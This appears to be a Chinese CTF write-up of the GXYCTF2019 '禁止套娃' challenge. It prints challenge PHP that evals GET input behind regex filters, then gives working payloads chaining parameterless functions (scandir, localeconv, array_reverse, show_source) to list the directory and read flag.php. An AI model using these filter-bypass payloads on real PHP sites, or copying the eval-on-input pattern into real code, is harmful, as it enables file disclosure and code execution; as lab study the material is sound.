[GXYCTF2019]禁止套娃 1

打开环境
在这里插入图片描述
这个界面很熟悉
看过我之前的博客关于git泄露的就知道
先去爆破一下目录
但是会发现没有什么进展,但我肯定它存在源码泄露
所以我直接猜想一下是git泄露
得到了index.php
真就离谱

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

代码审计:
eval函数执行我们的pyload
过滤了伪协议读取方式
(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
过滤了et|na|info|dec|bin|hex|oct|pi|log关键字。
根据源码我们知道flag在flag.php里面
所以进行payload构造

这里我们需要的知识点

在这里插入图片描述
scandir(’.’):扫描当前目录

localeconv() 函数
在这里插入图片描述

pos(),current():返回数组第一个值
payload:

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
知道了flag是数组的倒数第二个元素
然后这里的读取函数可以用这些

highlight_file()
show_source()
file()
readfile()

其他的都被正则过滤掉了

所以payload
方法一:

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

这里next是指向下一个元素
array_reverse是数组反序
得到flag
方法二:
这里利用array_rand()函数:
array_rand — 从数组中随机取出一个或多个单元。但是他取出的是键,我们想要的是值,还要利用array_flip(),把键与值交换,这样就可以了:

?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

这里是随机的,所以要刷新页面,这样就得到了flag.php,接下来就是读取文件。

希望这篇文章能够帮助你!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M1kael

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值